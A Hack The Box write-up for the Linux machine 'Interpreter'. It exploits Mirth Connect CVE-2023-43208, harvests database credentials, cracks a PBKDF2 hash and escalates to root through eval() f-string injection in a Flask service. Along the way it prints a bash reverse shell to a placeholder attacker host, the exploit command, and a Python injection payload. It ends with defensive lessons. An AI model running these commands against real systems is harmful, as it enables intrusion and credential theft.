Slop Overflow grep

Interpreter - Hack The Box Writeup

5 min read Giuslock htb, topic:ctf

Interpreter - Hack The Box Writeup

Machine: Interpreter
OS: Linux (Debian 12)
Difficulty: Medium
IP: 10.129.9.96


Table of Contents


Summary

Interpreter is a Linux machine running Mirth Connect 4.4.0, a healthcare integration engine vulnerable to pre-authenticated Remote Code Execution (CVE-2023-43208). After obtaining a foothold as the mirth service account, database credentials found in the Mirth configuration file are used to extract a PBKDF2-HMAC-SHA256 password hash for user sedric. The hash is cracked with hashcat and rockyou, granting SSH access and the user flag. Privilege escalation is achieved by exploiting a Python f-string injection vulnerability in a Flask notification service (notif.py) running as root on localhost, which unsafely uses eval() on user-controlled input.


Enumeration

Nmap Scan

nmap -sC -sV --top-ports 1000 -T4 10.129.9.96
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp  open  http     Jetty
|_http-title: Mirth Connect Administrator
443/tcp open  ssl/http Jetty
|_http-title: Mirth Connect Administrator
| ssl-cert: Subject: commonName=mirth-connect

Three open ports: SSH (22), HTTP (80), and HTTPS (443). Both web ports serve Mirth Connect Administrator, a healthcare data integration platform built on Jetty.

Mirth Connect Identification

Mirth Connect is a widely used open-source integration engine for healthcare data (HL7, FHIR, etc.). The SSL certificate confirms the CN as mirth-connect. Researching known vulnerabilities for Mirth Connect reveals critical CVEs affecting versions prior to 4.4.1.


Foothold - CVE-2023-43208 (Pre-Auth RCE)

Vulnerability

CVE-2023-43208 is a pre-authenticated Remote Code Execution vulnerability in Mirth Connect < 4.4.1. It is a bypass of the earlier CVE-2023-37679. The root cause is insecure deserialization through the XStream library: an attacker sends a crafted XML payload to the /api/users endpoint, which triggers arbitrary Java code execution via chained InvokerTransformer classes from Apache Commons Collections.

Exploitation

A public PoC exploit is available at jakabakos/CVE-2023-43208-mirth-connect-rce-poc.

Start a listener:

nc -lvnp 4444

Generate the reverse shell payload:

echo -n 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1' | base64

Fire the exploit:

python3 CVE-2023-43208.py \
  -u https://10.129.9.96 \
  -c "bash -c {echo,<BASE64_PAYLOAD>}|{base64,-d}|{bash,-i}"

This yields a shell as the mirth service account (uid=103).


Lateral Movement - mirth to sedric

Database Credential Discovery

The Mirth Connect configuration file at /usr/local/mirthconnect/conf/mirth.properties contains plaintext database credentials:

database = mysql
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = [REDACTED]

Extracting the Password Hash

Using the database credentials to query MariaDB:

mysql -u mirthdb -p'[REDACTED]' mc_bdd_prod -e "SELECT * FROM PERSON;"
# ID=2, USERNAME=sedric

mysql -u mirthdb -p'[REDACTED]' mc_bdd_prod -e "SELECT * FROM PERSON_PASSWORD;"
# PERSON_ID=2, PASSWORD=[REDACTED]

sedric is the only user in the Mirth Connect application and the only non-root user on the system with a login shell (/bin/bash).

Cracking the Hash

Mirth Connect 4.4.0 uses PBKDF2-HMAC-SHA256 with 600,000 iterations, an 8-byte salt, and a 256-bit derived key. The stored format is base64(salt || derived_key).

Decompose the hash for hashcat:

import base64
h = base64.b64decode('<HASH_BASE64>')
salt = h[:8]
dk   = h[8:]

# hashcat mode 10900 format:
# sha256:600000:<SALT_B64>:<DK_B64>

Crack with hashcat:

hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt --force
Status...........: Cracked

The password is a common word found in rockyou.txt.

SSH Access

ssh sedric@10.129.9.96
# Password: [REDACTED]

User Flag

cat ~/user.txt
# [REDACTED]

Privilege Escalation - sedric to root

Identifying the Target

During enumeration as mirth, process listing revealed a Python script running as root:

root  3507  /usr/bin/python3 /usr/local/bin/notif.py

The file is owned by root:sedric with permissions rwxr-x---, meaning sedric can read it. The service listens on 127.0.0.1:54321.

Analyzing notif.py

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"

    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"

    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")   # <-- VULNERABLE
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

The vulnerability is clear:

  1. User-controlled fields (first, last, sender, ts, gender) are interpolated into a string
  2. That string is then passed to eval() as an f-string
  3. The input validation regex allows curly braces {}, enabling Python expression injection
  4. Spaces are not allowed, but this is trivially bypassed using chr() to construct arbitrary strings

Exploitation

The service only accepts POST requests from localhost to /addPatient with XML patient data. Since os is already imported in the script's namespace, we can call os.popen() directly.

Build the payload (spaces bypassed with chr()):

# Build the command string as chr() concatenation to bypass the no-spaces regex
# e.g. chr(99)+chr(97)+chr(116)+chr(32)+... for "cat /root/root.txt"

Send the malicious XML from sedric's SSH session:

import urllib.request

xml = """<patient>
  <timestamp>20250919</timestamp>
  <sender_app>WEBAPP</sender_app>
  <id>1</id>
  <firstname>{os.popen(<CHR_PAYLOAD>).read()}</firstname>
  <lastname>Doe</lastname>
  <birth_date>01/01/1990</birth_date>
  <gender>M</gender>
</patient>"""

req = urllib.request.Request(
    "http://127.0.0.1:54321/addPatient",
    method="POST",
    data=xml.encode(),
    headers={"Content-Type": "text/plain"}
)
resp = urllib.request.urlopen(req)
print(resp.read().decode())

The root flag is returned in the response output.

Root Flag

[REDACTED]

Attack Chain Summary

Attacker
   |
   +--[1] CVE-2023-43208 (Mirth Connect 4.4.0 pre-auth RCE)
   |     XStream deserialization on /api/users
   |     -> Shell as: mirth
   |
   +--[2] Database credential harvesting (mirth.properties)
   |     -> DB credentials in plaintext config
   |     -> PBKDF2-HMAC-SHA256 hash for sedric (600k iterations)
   |     -> Cracked with hashcat + rockyou
   |     -> SSH as: sedric
   |
   +--[3] Python f-string injection via eval() in notif.py
         Service runs as root on 127.0.0.1:54321
         Regex allows {} -> inject {os.popen(...).read()}
         Spaces bypassed with chr()
         -> RCE as: root

Key Takeaways

  • Patch management is critical: Mirth Connect 4.4.0 has a known pre-auth RCE. Upgrading to 4.4.1+ would have prevented the initial foothold.
  • Never store database credentials in plaintext configuration files accessible to service accounts.
  • PBKDF2 with high iterations is not enough if the password is weak and present in common wordlists.
  • Never use eval() on user-controlled input, even with input validation. The regex allowed {} which is the exact syntax needed for f-string injection. Use safe string formatting (.format() with positional args or template strings) instead.
  • Principle of least privilege: A notification service that only writes text files should not run as root.
© 2026 Giuslock — Security field notes, writeups, and useful skepticism.